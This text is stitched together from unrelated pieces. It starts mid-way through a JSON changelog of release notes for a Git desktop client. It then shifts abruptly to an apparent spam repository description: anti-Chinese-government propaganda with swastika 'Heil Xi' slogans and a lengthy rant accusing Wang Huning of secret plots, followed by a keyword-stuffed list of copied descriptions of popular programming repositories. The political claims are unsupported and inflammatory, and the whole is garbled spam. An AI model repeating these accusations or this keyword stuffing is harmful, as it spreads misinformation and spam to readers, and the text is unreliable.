Desktop\" wouldn't include the repository name in the path - #2704" ], "0.9.0": [ "[New] Allow users to create repositories with descriptions - #2719. Thanks @davidcelis!", "[New] Use `lfs clone` for faster cloning of LFS repositories - #2679", "[Improved] Prompt to override existing LFS filters - #2693", "[Fixed] Don't install LFS hooks when checking if a repo uses LFS - #2732", "[Fixed] Ensure nothing is staged as part of undoing the first commit - #2656", "[Fixed] \"Clone with Desktop\" wouldn't include the repository name in the path - #2704" ], "0.8.2": [ "[New] Ask to install LFS filters when an LFS repository is added - #2227", "[New] Clone GitHub repositories tab - #57", "[New] Option to opt-out of confirming discarding changes - #2681", "[Fixed] Long commit summary truncation - #1742", "[Fixed] Ensure the repository list is always enabled - #2648", "[Fixed] Windows: Detecting the available shells and editors when using a non-ASCII user encoding - #2624", "[Fixed] Clicking the \"Cancel\" button on the Publish Branch dialog - #2646", "[Fixed] Windows: Don't rely on PATH for knowing where to find chcp - #2678", "[Fixed] Relocating a repository now actually does that - #2685", "[Fixed] Clicking autocompletes inserts them - #2674", "[Fixed] Use shift for shortcut chord instead of alt - #2607", "[Fixed] macOS: \"Open in Terminal\" works with repositories with spaces in their path - #2682" ], "1.0.0-beta1": [ "[New] Option to to opt-out of confirming discarding changes - #2681", "[Fixed] Windows: Don't rely on PATH for knowing where to find chcp - #2678", "[Fixed] Relocating a repository now actually does that - #2685", "[Fixed] Clicking autocompletes inserts them - #2674", "[Fixed] Use shift for shortcut chord instead of alt - #2607", "[Fixed] macOS: \"Open in Terminal\" works with repositories with spaces in their path - #2682" ], "1.0.0-beta0": [ "[New] Ask to install LFS filters when an LFS repository is added - #2227", "[New] Clone GitHub repositories tab - #57", "[Fixed] Long commit summary truncation - #1742", "[Fixed] Ensure the repository list is always enabled - #2648", "[Fixed] Windows: Detecting the available shells and editors when using a non-ASCII user encoding - #2624", "[Fixed] Clicking the \"Cancel\" button on the Publish Branch dialog - #2646" ], "0.8.1": [ "[New] 'Open in Shell' now supports multiple shells - #2473", "[New] Windows: Enable adding self-signed certificates - #2581", "[Improved] Enhanced image diffs - #2383", "[Improved] Line diffs - #2461", "[Improved] Octicons updated - #2495", "[Improved] Adds ability to close repository list using shortcut - #2532", "[Improved] Switch default buttons in the Publish Branch dialog - #2515", "[Improved] Bring back \"Contact Support\" - #1472", "[Improved] Persist repository filter text after closing repository list - #2571", "[Improved] Redesigned example commit in the Welcome flow - #2141", "[Improved] Tidy up initial \"external editor\" experience - #2551", "[Fixed] 'Include All' checkbox not in sync with partial selection - #2493", "[Fixed] Copied text from diff removed valid characters - #2499", "[Fixed] Click-focus on Windows would dismiss dialog - #2488", "[Fixed] Branch list not rendered in app - #2531", "[Fixed] Git operations checking certificate store - #2520", "[Fixed] Properly identify repositories whose remotes have a trailing slash - #2584", "[Fixed] Windows: Fix launching the `github` command line tool - #2563", "[Fixed] Use the primary email address if it's public - #2244", "[Fixed] Local branch not checked out after clone - #2561", "[Fixed] Only the most recent 30 issues would autocomplete for GitHub Enterprise repositories - #2541", "[Fixed] Missing \"View on GitHub\" menu item for non-Gitub repositories - #2615", "[Fixed] New tab opened when pressing \"]\" for certain keyboard layouts - #2607", "[Fixed] Windows: Crash when exiting full screen - #1502", "[Fixed] Windows: Detecting the available shells and editors when using a non-ASCII user encoding - #2624", "[Fixed] Ensure the repository list is always accessible - #2648" ], "0.8.1-beta4": [ "[Improved] Persist repository filter text after closing repository list - #2571", "[Improved] Redesigned example commit in the Welcome flow - #2141", "[Improved] Tidy up initial \"external editor\" experience - #2551", "[Fixed] Missing \"View on GitHub\" menu item for non-Gitub repositories - #2615", "[Fixed] New tab opened when pressing \"]\" for certain keyboard layouts - #2607", "[Fixed] Windows: Crash when exiting full screen - #1502" ], "0.8.1-beta3": [ "[New] Windows: Enable adding self-signed certificates - #2581", "[Improved] Adds ability to close repository list using shortcut - #2532", "[Improved] Switch default buttons in the Publish Branch dialog - #2515", "[Improved] Bring back \"Contact Support\" - #1472", "[Fixed] Properly identify repositories whose remotes have a trailing slash - #2584", "[Fixed] Windows: Fix launching the `github` command line tool - #2563", "[Fixed] Use the primary email address if it's public - #2244", "[Fixed] Local branch not checked out after clone - #2561", "[Fixed] Only the most recent 30 issues would autocomplete for GitHub Enterprise repositories - #2541" ], "0.8.1-beta2": [ "[Fixed] Branch list not rendered in app - #2531", "[Fixed] Git operations checking certificate store - #2520" ], "0.8.1-beta1": [ "[New] 'Open in Shell' now supports multiple shells - #2473", "[Improved] Enhanced image diffs - #2383", "[Improved] Line diffs - #2461", "[Improved] Octicons updated - #2495", "[Fixed] 'Include All' checkbox not in sync with partial selection - #2493", "[Fixed] Copied text from diff removed valid characters - #2499", "[Fixed] Click-focus on Windows would dismiss dialog - #2488" ], "0.8.1-beta0": [], "0.8.0": [ "[New] Added commit context menu - #2434", "[New] Added 'Open in External Editor' - #2009", "[New] Can choose whether a branch should be deleted on the remote as well as locally - #2136", "[New] Support authenticating with non-GitHub servers - #852", "[New] Added the ability to revert a commit - #752", "[New] Added a keyboard shortcut for opening the repository in the shell - #2138", "[Improved] Copied diff text no longer includes the line changetype markers - #1499", "[Improved] Fetch if a push fails because they need to pull first - #2431", "[Improved] Discard changes performance - #1889", "[Fixed] Show 'Add Repository' dialog when repository is dragged onto the app - #2442", "[Fixed] Dialog component did not remove event handler - #2469", "[Fixed] Open in External Editor context menu - #2475", "[Fixed] Update to Git 2.14.1 to fix security vulnerability - #2432", "[Fixed] Recent branches disappearing after renaming a branch - #2426", "[Fixed] Changing the default branch on GitHub.com is now reflected in the app - #1489", "[Fixed] Swap around some callouts for no repositories - #2447", "[Fixed] Darker unfocused selection color - #1669", "[Fixed] Increase the max sidebar width - #1588", "[Fixed] Don't say \"Publish this branch to GitHub\" for non-GitHub repositories - #1498", "[Fixed] macOS: Protocol schemes not getting registered - #2429", "[Fixed] Patches which contain the \"no newline\" marker would fail to apply - #2123", "[Fixed] Close the autocompletion popover when it loses focus - #2358", "[Fixed] Clear the selected org when switching Publish Repository tabs - #2386", "[Fixed] 'Create Without Pushing' button throwing an exception while opening a pull request - #2368", "[Fixed] Windows: Don't removing the running app out from under itself when there are updates pending - #2373", "[Fixed] Windows: Respect `core.autocrlf` and `core.safeclrf` when modifying the .gitignore - #1535", "[Fixed] Windows: Fix opening the app from the command line - #2396" ], "0.7.3-beta5": [], "0.7.3-beta4": [], "0.7.3-beta3": [], "0.7.3-beta2": [], "0.7.3-beta1": [], "0.7.3-beta0": [], "0.7.2": ["[Fixed] Issues with auto-updating to 0.7.1."], "0.7.2-beta0": [], "0.7.1": [ "[Improved] Redesigned error and warning dialogs to be clearer - #2277", "[Improved] Create Pull Request dialog shows more feedback while it's working - #2265", "[Improved] Version text is now copiable - #1935", "[Fixed] Preserve existing GitHub API information when API requests fail - #2282", "[Fixed] Pass through error messages as received from the API - #2279", "[Fixed] The Pull and Create Pull Request menu items had the same shortcut - #2274", "[Fixed] Launching the `github` command line tool from a Fish shell - #2299", "[Fixed] Help menu items now work - #2314", "[Fixed] Windows: `github` command line tool not installing after updating - #2312", "[Fixed] Caret position jumping around while changing the path for adding a local repository - #2222", "[Fixed] Error dialogs being closed too easily - #2211", "[Fixed] Windows: Non-ASCII credentials were mangled - #189" ], "0.7.1-beta5": [ "[Improved] Redesigned error and warning dialogs to be clearer - #2277", "[Improved] Create Pull Request dialog shows more feedback while it's working - #2265", "[Fixed] Preserve existing GitHub API information when API requests fail - #2282", "[Fixed] Pass through error messages as received from the API - #2279", "[Fixed] The Pull and Create Pull Request menu items had the same shortcut - #2274", "[Fixed] Launching the `github` command line tool from a Fish shell - #2299", "[Fixed] Help menu items now work - #2314", "[Fixed] Windows: `github` command line tool not installing after updating - #2312", "[Fixed] Caret position jumping around while changing the path for adding a local repository - #2222", "[Fixed] Error dialogs being closed too easily - #2211", "[Fixed] Windows: Non-ASCII credentials were mangled - #189" ], "0.7.1-beta4": [], "0.7.1-beta3": [], "0.7.1-beta2": [], "0.7.1-beta1": [], "0.7.1-beta0": [ "[Improved] Redesigned error and warning dialogs to be clearer - #2277", "[Fixed] Preserve existing GitHub API information when API requests fail - #2282", "[Fixed] Pass through error messages as received from the API - #2279", "[Fixed] The Pull and Create Pull Request menu items had the same shortcut - #2274", "[Fixed] Launching the `github` command line tool from a Fish shell - #2299" ], "0.7.0": [ "[New] Added the Branch > Create Pull Request menu item - #2135", "[New] Added the `github` command line tool - #696", "[Improved] Better error message when publishing a repository fails - #2089", "[Improved] Windows: Don't recreate the desktop shortcut if it's been deleted - #1759", "[Fixed] Cloning a repository's wiki - #1624", "[Fixed] Don't call GitHub Enterprise GitHub.com - #2094", "[Fixed] Don't push after publishing a new repository if the branch is unborn - #2086", "[Fixed] Don't close dialogs when clicking the title bar - #2056", "[Fixed] Windows: Clicking 'Show in Explorer' doesn't bring Explorer to the front - #2127", "[Fixed] Windows: Opening links doesn't bring the browser to the front - #1945", "[Fixed] macOS: Closing the window wouldn't exit fullscreen - #1901", "[Fixed] Scale blankslate images so they look nicer on high resolution displays - #1946", "[Fixed] Windows: Installer not completing or getting stuck in a loop - #1875 #1863", "[Fixed] Move the 'Forgot Password' link to fix the tab order of the sign in view - #2200" ], "0.6.3-beta7": [], "0.6.3-beta6": [], "0.6.3-beta5": [], "0.6.3-beta4": [], "0.6.3-beta3": [], "0.6.3-beta2": [], "0.6.3-beta1": [], "0.6.3-beta0": [], "0.6.2": [ "[New] Link to User Guides from the Help menu - #1963", "[New] Added the 'Open in External Editor' contextual menu item to changed files - #2023", "[New] Added the 'Show' and 'Open Command Prompt' contextual menu items to repositories - #1554", "[New] Windows: Support self-signed or untrusted certificates - #671", "[New] Copy the SHA to the clipboard when clicked - #1501", "[Improved] Provide the option of initializing a new repository when adding a directory that isn't already one - #969", "[Improved] Link to the working directory when there are no changes - #1871", "[Improved] Hitting Enter when selecting a base branch creates the new branch - #1780", "[Improved] Prefix repository names with their owner if they are ambiguous - #1848", "[Fixed] Sort and filter licenses like GitHub.com - #1987", "[Fixed] Long branch names not getting truncated in the Rename Branch dialog - #1891", "[Fixed] Prune old log files - #1540", "[Fixed] Ensure the local path is valid before trying to create a new repository - #1487", "[Fixed] Support cloning repository wikis - #1624", "[Fixed] Disable the Select All checkbox when there are no changes - #1389", "[Fixed] Changed docx files wouldn't show anything in the diff panel - #1990", "[Fixed] Disable the Merge button when there are no commits to merge - #1359", "[Fixed] Username/password authentication not working for GitHub Enterprise - #2064", "[Fixed] Better error messages when an API call fails - #2017", "[Fixed] Create the 'logs' directory if it doesn't exist - #1550", "[Fixed] Enable the 'Remove' menu item for missing repositories - #1776" ], "0.6.1": [ "[Fixed] Properly log stats opt in/out - #1949", "[Fixed] Source maps for exceptions in the main process - #1957", "[Fixed] Styling of the exception dialog - #1956", "[Fixed] Handle ambiguous references - #1947", "[Fixed] Handle non-ASCII text in diffs - #1970", "[Fixed] Uncaught exception when hitting the arrow keys after showing autocompletions - #1971", "[Fixed] Clear the organizations list when publishing a new repository and switching between tabs - #1969", "[Fixed] Push properly when a tracking branch has a different name from the local branch - #1967", "[Improved] Warn when line endings will change - #1906" ], "0.6.0": [ "[Fixed] Issue autocompletion not working for older issues - #1814", "[Fixed] GitHub repository association not working for repositories with some remote URL formats - #1826 #1679", "[Fixed] Don't try to delete a remote branch that no longer exists - #1829", "[Fixed] Tokens created by development builds would be used in production builds but wouldn't work - #1727", "[Fixed] Submodules can now be added - #708", "[Fixed] Properly handle the case where a file is added to the index but removed from the working tree - #1310", "[Fixed] Use a local image for the default avatar - #1621", "[Fixed] Make the file path in diffs selectable - #1768", "[Improved] More logging! - #1823", "[Improved] Better error message when trying to add something that's not a repository - #1747", "[Improved] Copy the shell environment into the app's environment - #1796", "[Improved] Updated to Git 2.13.0 - #1897", "[Improved] Add 'Reveal' to the contextual menu for changed files - #1566", "[Improved] Better handling of large diffs - #1818 #1524", "[Improved] App launch time - #1900" ], "0.5.9": [ "[New] Added Zoom In and Zoom Out - #1217", "[Fixed] Various errors when on an unborn branch - #1450", "[Fixed] Disable push/pull menu items when there is no remote - #1448", "[Fixed] Better error message when the GitHub Enterprise version is too old - #1628", "[Fixed] Error parsing non-JSON responses - #1505 #1522", "[Fixed] Updated the 'Install Git' help documentation link - #1797", "[Fixed] Disable menu items while in the Welcome flow - #1529", "[Fixed] Windows: Fall back to HOME if Document cannot be found - #1825", "[Improved] Close the window when an exception occurs - #1562", "[Improved] Always use merge when pulling - #1627", "[Improved] Move the 'New Branch' menu item into the Branch menu - #1757", "[Improved] Remove Repository's default button is now Cancel - #1751", "[Improved] Only fetch the default remote - #1435", "[Improved] Faster commits with many files - #1405", "[Improved] Measure startup time more reliably - #1798", "[Improved] Prefer the GitHub repository name instead of the name on disk - #664" ], "0.5.8": [ "[Fixed] Switching tabs in Preferences/Settings or Repository Settings would close the dialog - #1724", "[Improved] Standardized colors which improves contrast and readability - #1713" ], "0.5.7": [ "[Fixed] Windows: Handle protocol events which launch the app - #1582", "[Fixed] Opting out of stats reporting in the Welcome flow - #1698", "[Fixed] Commit description text being too light - #1695", "[Fixed] Exception on startup if the app was activated too quickly - #1564", "[Improved] Default directory for cloning now - #1663", "[Improved] Accessibility support - #1289", "[Improved] Lovely blank slate illustrations - #1708" ], "0.5.6": [ "[Fixed] macOS: The buttons in the Untrusted Server dialog not doing anything - #1622", "[Fixed] Better warning in Rename Branch when the branch will be created with a different name than was entered - #1480", "[Fixed] Provide a tooltip for commit summaries in the History list - #1483", "[Fixed] Prevent the Update Available banner from getting squished - #1632", "[Fixed] Title bar not responding to double-clicks - #1590 #1655", "[Improved] Discard All Changes is now accessible by right-clicking the file column header - #1635" ], "0.5.5": [ "[Fixed] Save the default path after creating a new repository - #1486", "[Fixed] Only let the user launch the browser once for the OAuth flow - #1427", "[Fixed] Don't linkify invalid URLs - #1456", "[Fixed] Excessive padding in the Merge Branch dialog - #1577", "[Fixed] Octicon pixel alignment issues - #1584", "[Fixed] Windows: Invoking some menu items would break the window's snapped state - #1603", "[Fixed] macOS: Errors authenticating while pushing - #1514", "[Fixed] Don't linkify links in the History list or in Undo - #1548 #1608 #1474", "[Fixed] Diffs not working when certain git config values were set - #1559" ], "0.5.4": [ "[Fixed] The release notes URL pointed to the wrong page - #1503", "[Fixed] Only create the `logs` directory if it doesn't already exist - #1510", "[Fixed] Uncaught exception creating a new repository if you aren't a member of any orgs - #1507", "[Fixed] Only report the first uncaught exception - #1517", "[Fixed] Include the name of the default branch in the New Branch dialog - #1449", "[Fixed] Uncaught exception if a network error occurred while loading user email addresses - #1522 #1508", "[Fixed] Uncaught exception while performing a contextual menu action - #1532", "[Improved] Move all error logging to the main process - #1473", "[Improved] Stats reporting reliability - #1561" ], "0.5.3": [ "[Fixed] Display of large image diffs - #1494", "[Fixed] Discard Changes spacing - #1495" ], "0.5.2": [ "[Fixed] Display errors that happen while publishing a repository - #1396", "[Fixed] Menu items not updating - #1462", "[Fixed] Always select the first changed file - #1306", "[Fixed] macOS: Use Title Case consistently - #1477 #1481", "[Fixed] Create Branch padding - #1479", "[Fixed] Bottom padding in commit descriptions - #1345", "[Improved] Dialog polish - #1451", "[Improved] Store logs in a logs directory - #1370", "[Improved] New Welcome illustrations - #1471", "[Improved] Request confirmation before removing a repository - #1233", "[Improved] Windows icon polish - #1457" ], "0.5.1": [ "[New] Windows: A nice little gif while installing the app - #1440", "[Fixed] Disable pinch zoom - #1431", "[Fixed] Don't show carriage return indicators in diffs - #1444", "[Fixed] History wouldn't update after switching branches - #1446", "[Improved] Include more information in exception reports - #1429", "[Improved] Updated Terms and Conditions - #1438", "[Improved] Sub-pixel anti-aliasing in some lists - #1452", "[Improved] Windows: A new application identifier, less likely to collide with other apps - #1441" ], "0.5.0": [ "[Added] Menu item for showing the app logs - #1349", "[Fixed] Don't let the two-factor authentication dialog be submitted while it's empty - #1386", "[Fixed] Undo Commit showing the wrong commit - #1373", "[Fixed] Windows: Update the icon used for the installer - #1410", "[Fixed] Undoing the first commit - #1401", "[Fixed] A second window would be opened during the OAuth dance - #1382", "[Fixed] Don't include the comment from the default merge commit message - #1367", "[Fixed] Show progress while committing - #923", "[Fixed] Windows: Merge Branch sizing would be wrong on high DPI monitors - #1210", "[Fixed] Windows: Resize the app from the top left corner - #1424", "[Fixed] Changing the destination path for cloning a repository now appends the repository's name - #1408", "[Fixed] The blank slate view could be visible briefly when the app launched - #1398", "[Improved] Performance updating menu items - #1321", "[Improved] Windows: Dim the title bar when the app loses focus - #1189" ], "0.0.39": ["[Fixed] An uncaught exception when adding a user - #1394"], "0.0.38": [ "[New] Shiny new icon! - #1221", "[New] More helpful blank slate view - #871", "[Fixed] Don't allow Undo while pushing/pulling/fetching - #1047", "[Fixed] Updating the default branch on GitHub wouldn't be reflected in the app - #1028 #1314", "[Fixed] Long repository names would overflow their container - #1331", "[Fixed] Removed development menu items in production builds - #1031 #1251 #1323 #1340", "[Fixed] Create Branch no longer changes as it's animating closed - #1304", "[Fixed] Windows: Cut / Copy / Paste menu items not working - #1379", "[Improved] Show a better error message when the user tries to authenticate with a personal access token - #1313", "[Improved] Link to the repository New Issue page from the Help menu - #1349", "[Improved] Clone in Desktop opens the Clone dialog - #918" ], "0.0.37": [ "[Fixed] Better display of the 'no newline at end of file' indicator - #1253", "[Fixed] macOS: Destructive dialogs now use the expected button order - #1315", "[Fixed] Display of submodule paths - #785", "[Fixed] Incomplete stats submission - #1337", "[Improved] Redesigned welcome flow - #1254", "[Improved] App launch time - #1225", "[Improved] Handle uncaught exceptions - #1106" ], "0.0.36": [ "[Fixed] Bugs around associating an email address with a GitHub user - #975", "[Fixed] Use the correct reference name for an unborn branch - #1283", "[Fixed] Better diffs for renamed files - #980", "[Fixed] Typo in Create Branch - #1303", "[Fixed] Don't allow whitespace-only branch names - #1288", "[Improved] Focus ring polish - #1287", "[Improved] Less intrusive update notifications - #1136", "[Improved] Faster launch time on Windows - #1309", "[Improved] Faster git information refreshing - #1305", "[Improved] More consistent use of sentence case on Windows - #1316", "[Improved] Autocomplete polish - #1241" ], "0.0.35": [ "[New] Show push/pull/fetch progress - #1238", "[Fixed] macOS: Add the Zoom menu item - #1260", "[Fixed] macOS: Don't show the titlebar while full screened - #1247", "[Fixed] Windows: Updates would make the app unresponsive - #1269", "[Fixed] Windows: Keyboard navigation in menus - #1293", "[Fixed] Windows: Repositories list item not working - #1293", "[Fixed] Auto updater errors not being propagated properly - #1266", "[Fixed] Only show the current branch tooltip on the branches button - #1275", "[Fixed] Double path truncation - #1270", "[Fixed] Sometimes toggling a file's checkbox would get undone - #1248", "[Fixed] Uncaught exception when internet connectivity was lost - #1048", "[Fixed] Cloned repositories wouldn't be associated with their GitHub repository - #1285", "[Improved] Better performance on large repositories - #1281", "[Improved] Commit summary is now expandable when the summary is long - #519", "[Improved] The SHA in historical commits is now selectable - #1154", "[Improved] The Create Branch dialog was polished and refined - #1137" ], "0.0.34": [ "[New] macOS: Users can choose whether to accept untrusted certificates - #671", "[New] Windows: Users are prompted to install git when opening a shell if it is not installed - #813", "[New] Checkout progress is shown if branch switching takes a while - #1208", "[New] Commit summary and description are automatically populated for merge conflicts - #1228", "[Fixed] Cloning repositories while not signed in - #1163", "[Fixed] Merge commits are now created as merge commits - #1216", "[Fixed] Display of diffs with /r newline - #1234", "[Fixed] Windows: Maximized windows are no longer positioned slightly off screen - #1202", "[Fixed] JSON parse errors - #1243", "[Fixed] GitHub Enterprise repositories were not associated with the proper Enterprise repository - #1242", "[Fixed] Timestamps in the Branches list would wrap - #1255", "[Fixed] Merges created from pulling wouldn't use the right git author - #1262", "[Improved] Check for update errors are suppressed if they happen in the background - #1104, #1195", "[Improved] The shortcut to show the repositories list is now command or control-T - #1220", "[Improved] Command or control-W now closes open dialogs - #949", "[Improved] Less memory usage while parsing large diffs - #1235" ], "0.0.33": ["[Fixed] Update Now wouldn't update now - #1209"], "0.0.32": [ "[New] You can now disable stats reporting from Preferences > Advanced - #1120", "[New] Acknowledgements are now available from About - #810", "[New] Open pull requests from dot com in the app - #808", "[Fixed] Don't show background fetch errors - #875", "[Fixed] No more surprise and delight - #620", "[Fixed] Can't discard renamed files - #1177", "[Fixed] Logging out of one account would log out of all accounts - #1192", "[Fixed] Renamed files truncation - #695", "[Fixed] Git on Windows now integrates with the system certificate store - #706", "[Fixed] Cloning with an account/repoository shortcut would always fail - #1150", "[Fixed] OS version reporting - #1130", "[Fixed] Publish a new repository would always fail - #1046", "[Fixed] Authentication would fail for the first repository after logging in - #1118", "[Fixed] Don't flood the user with errors if a repository disappears on disk - #1132", "[Improved] The Merge dialog uses the Branches list instead of a drop down menu - #749", "[Improved] Lots of design polish - #1188, #1183, #1170, #1184, #1181, #1179, #1142, #1125" ], "0.0.31": [ "[New] Prompt user to login when authentication error occurs - #903", "[New] Windows application has a new app menu, replaces previous hamburger menu - #991", "[New] Refreshed colours to align with GitHub website scheme - #1077", "[New] Custom about dialog on all platforms - #1102", "[Fixed] Improved error handling when probing for a GitHub Enterprise server - #1026", "[Fixed] User can cancel 2FA flow - #1057", "[Fixed] Tidy up current set of menu items - #1063", "[Fixed] Manually focus the window when a URL action has been received - #1072", "[Fixed] Disable middle-click event to prevent new windows being launched - #1074", "[Fixed] Pre-fill the account name in the Welcome wizard, not login - #1078", "[Fixed] Diffs wouldn't work if an external diff program was configured - #1123", "[Improved] Lots of design polish work - #1113, #1099, #1094, #1077" ], "0.0.30": [ "[Fixed] Crash when invoking menu item due to incorrect method signature - #1041" ], "0.0.29": [ "[New] Commit summary and description fields now display issues and mentions as links for GitHub repositories - #941", "[New] Show placeholder when the repository cannot be found on disk - #946", "[New] New Repository actions moved out of popover and into new menu - #1018", "[Fixed] Display a helpful error message when an unverified user signs into GitHub Desktop - #1010", "[Fixed] Fix kerning issue when access keys displayed - #1033", "[Fixed] Protected branches show a descriptive error when the push is rejected - #1036", "[Fixed] 'Open in shell' on Windows opens to repository location - #1037" ], "0.0.28": ["[Fixed] Bumping release notes to test deployments again"], "0.0.27": [ "[Fixed] 2FA dialog when authenticating has information for SMS authentication - #1009", "[Fixed] Autocomplete for users handles accounts containing `-` - #1008" ], "0.0.26": [ "[Fixed] Address deployment issue by properly documenting release notes" ], "0.0.25": [ "[Added] Autocomplete displays user matches - #942", "[Fixed] Handle Enter key in repository and branch list when no matches exist - #995", "[Fixed] 'Add Repository' button displays in dropdown when repository list empty - #984", "[Fixed] Correct icon displayed for non-GitHub repository - #964 #955", "[Fixed] Enter key when inside dialog submits form - #956", "[Fixed] Updated URL handler entry on macOS - #945", "[Fixed] Commit button is disabled while commit in progress - #940", "[Fixed] Handle index state change when gitginore change is discarded - #935", "[Fixed] 'Create New Branch' view squashes branch list when expanded - #927", "[Fixed] Application creates repository path if it doesn't exist on disk - #925", "[Improved] Preferences sign-in flow updated to standalone dialogs - #961" ], "0.0.24": ["Changed a thing", "Added another thing"] } }
Daravai1234
反中共政治宣传库。Anti Chinese government propaganda. 住在中国真名用户的网友请别给星星,不然你要被警察请喝茶。常见问答集,新闻集和饭店和音乐建议。卐习万岁卐。冠状病毒审查郝海东新疆改造中心六四事件法轮功 996.ICU709大抓捕巴拿马文件邓家贵低端人口西藏骚乱。Friends who live in China and have real name on account, please don't star this repo, or else the police might pay you a visit. Home to the mega-FAQ, news compilation, restaurant and music recommendations.Heil Xi 卐. 大陆修宪香港恶法台湾武统朝鲜毁约美中冷战等都是王沪宁愚弄习思想极左命运共同体的大策划中共窃国这半个多世纪所犯下的滔天罪恶,前期是毛泽东策划的,中期6.4前后是邓小平策划的,黄牛数据分析后期是毛的极左追随者三朝罪恶元凶王沪宁策划的。王沪宁高小肆业因文革政治和情报需要保送“学院外语班“红色仕途翻身,所以王的本质是极左的。他是在上海底层弄堂长大的,因其本性也促成其瘪三下三滥个性,所以也都说他有易主“变色龙”哈巴狗“的天性。大陆像王沪宁这样学马列政治所谓"法学"专业的人,在除朝鲜古巴所有国家特别是在文明发达国家是无法找到专业对口工作必定失业,唯独在大陆却是重用的紧缺“人才”,6.4后中共信仰大危机更是最重用的救党“人才”。这也就是像王沪宁此类工农兵假“大学生”平步青云的原因,他们最熟悉毛泽东历次运动的宫庭内斗经验手段和残酷的阶级斗争等暴力恐怖的“政治学”。王沪宁能平步青云靠他这马毛伪“政治学”资本和头衔,不是什么真才实学,能干实事有点真才实学的或许在他手下的谋士及秘书班子中可以找到。王沪宁的“真才实学”只不过是一个只读四年小学的人,大半辈子在社会上磨炼特别是在中共官场滚打炼出的的手段和经验而已,他和习近平等保送的工农兵假“大学生”都一样,无法从事原“专业”都凭红资本而从政。六四学运期间各界一边倒支持学生,王沪宁一度去法国躲避和筹谋,他还加入了反学运签名,成为极少有的反学运者仕途突显,在六四和苏联垮台后中共意识形态危机,江泽民上台看上唯一能应急的王沪宁聚谋士泡制的"稳定统一领导"和之后的"新权威"谬论。左转被邓小平南巡阻止后,王策划顺邓经济改革却将政治改革逐步全面终止和倒退,泡制“三个代表”为极左转建立庞大牢固的红色既得利益集团。因此六四后各重大决策和危机难题都摆在中共中央政策研究室王沪宁桌面上,使王沪宁成了此后中共三朝都无法摆脱的幕后最有决策性实权的人,中共中央政策研究室是王为其野心巨资经营几十年,聚众谋士的间谍情报汇总研究的特务机关和策划制定决策重要机构与基地,王沪宁本人和决定其仕途关键的首任岳父及家属就有情报工作背景。中央政研室重要到王沪宁入常后为了死抓这中共情报与决策大权,宁可放弃国家副主席和中央党校校长。后再加个除习外唯他担任的中共几核心领导小组之一的“不忘初心牢记使命”主题教育工作小组组长。此后他把持的舆论必将以宣传“不忘初心牢记使命”为主,打造众所周知的所谓“习思想”其实是”王思想“。王自从主导中央政研室开始决策后,策划中止邓小平的与美妥协路线回归毛极左的反美路线。帮助前南斯拉夫提供情报打落美机放中使馆引发炸使馆事件,以此掀起六四后唯一的全国大规模游行并借此反美而起家。后又帮江泽民提供法轮功会是超过中共组织的情报,策划决策镇压迫害开始并没有把矛头指向江的法轮功群体,策划决定阻止党内外近三十年来平反六四的呼声。致远黑皮书马拉松程序员易支付英语台词文字匹配美团点评各业务线提供知识库团队共享阿里云高精Excel识别德讯 ·吉特胡布薄熙来黑科技习近平讲话模拟器习近平音源黑马程序员MySQL数据库玉米杂草数据集销售系统开发疫情期间网民情绪识别比赛996icu996 icu学习强国预测结果导出赖伟林刺杀小说家购物商场英语词汇量小程序联级选择器Bitcoin区块链 技术面试必备基础知识 Leetcode 计算机操作系统 计算机网络 系统设计 Java学习 面试指南 一份涵盖大部分 Java 程序员所需要掌握的核心知识 准备 Java 面试 首选 JavaGuide Python 1 天从新手到大师刷算法全靠套路 认准 labuladong 就够了 免费的计算机编程类中文书籍 欢迎投稿用动画的形式呈现解LeetCode题目的思路 互联网 Java 工程师进阶知识完全扫盲 涵盖高并发 分布式 高可用 微服务 海量数据处理等领域知识后端架构师技术图谱mall项目是一套电商系统 包括前台商城系统及后台管理系统 基于SpringBoot MyBatis实现 采用Docker容器化部署 前台商城系统包含首页门户 商品推荐 商品搜索 商品展示 购物车 订单流程 会员中心 客户服务 帮助中心等模块 后台管理系统包含商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等模块 微信小程序开发资源汇总 最全中华古诗词数据库 唐宋两朝近一万四千古诗人 接近5 5万首唐诗加26万宋诗 两宋时期1564位词人 21 5 首词 uni app 是使用 Vue 语法开发小程序 H5 App的统一框架2 21年最新总结 阿里 腾讯 百度 美团 头条等技术面试题目 以及答案 专家出题人分析汇总 科学上网 自由上网 翻墙 软件 方法 一键翻墙浏览器 免费账号 节点分享 vps一键搭建脚本 教程AiLearning 机器学习 MachineLearning ML 深度学习 DeepLearning DL 自然语言处理 NLP123 6智能刷票 订票开放式跨端跨框架解决方案 支持使用 React Vue Nerv 等框架来开发微信 京东 百度 支付宝 字节跳动 QQ 小程序 H5 React Native 等应用 taro zone 掘金翻译计划 可能是世界最大最好的英译中技术社区 最懂读者和译者的翻译平台 no evil 程序员找工作黑名单 换工作和当技术合伙人需谨慎啊 更新有赞 算法面试 算法知识 针对小白的算法训练 还包括 1 阿里 字节 滴滴 百篇大厂面经汇总 2 千本开源电子书 3 百张思维导图 右侧来个 star 吧 English version supported 955 不加班的公司名单 工作 955 work–life balance 工作与生活的平衡 诊断利器Arthas The Way to Go 中文译本 中文正式名 Go 入门指南 Java面试 Java学习指南 一份涵盖大部分Java程序员所需要掌握的核心知识 教程 技术栈示例代码 快速简单上手教程 2 17年买房经历总结出来的买房购房知识分享给大家 希望对大家有所帮助 买房不易 且买且珍惜http下载工具 基于http代理 支持多连接分块下载 动手学深度学习 面向中文读者 能运行 可讨论 中英文版被全球175所大学采用教学 阿里云计算平台团队出品 为监控而生的数据库连接池程序员简历模板系列 包括PHP程序员简历模板 iOS程序员简历模板 Android程序员简历模板 Web前端程序员简历模板 Java程序员简历模板 C C 程序员简历模板 NodeJS程序员简历模板 架构师简历模板以及通用程序员简历模板采用自身模块规范编写的前端 UI 框架 遵循原生 HTML CSS JS 的书写形式 极低门槛 拿来即用 贵校课程资料民间整理 企业级低代码平台 前后端分离架构强大的代码生成器让前后端代码一键生成 无需写任何代码 引领新的开发模式OnlineCoding 代码生成 手工MERGE 帮助Java项目解决7 %重复工作 让开发更关注业务 既能快速提高效率 帮助公司节省成本 同时又不失灵活性 我是依扬 木易杨 公众号 高级前端进阶 作者 每天搞定一道前端大厂面试题 祝大家天天进步 一年后会看到不一样的自己 冴羽写博客的地方 预计写四个系列 JavaScript深入系列 JavaScript专题系列 ES6系列 React系列 中文分词 词性标注 命名实体识别 依存句法分析 语义依存分析 新词发现 关键词短语提取 自动摘要 文本分类聚类 拼音简繁转换 自然语言处理flutter 开发者帮助 APP 包含 flutter 常用 14 组件的demo 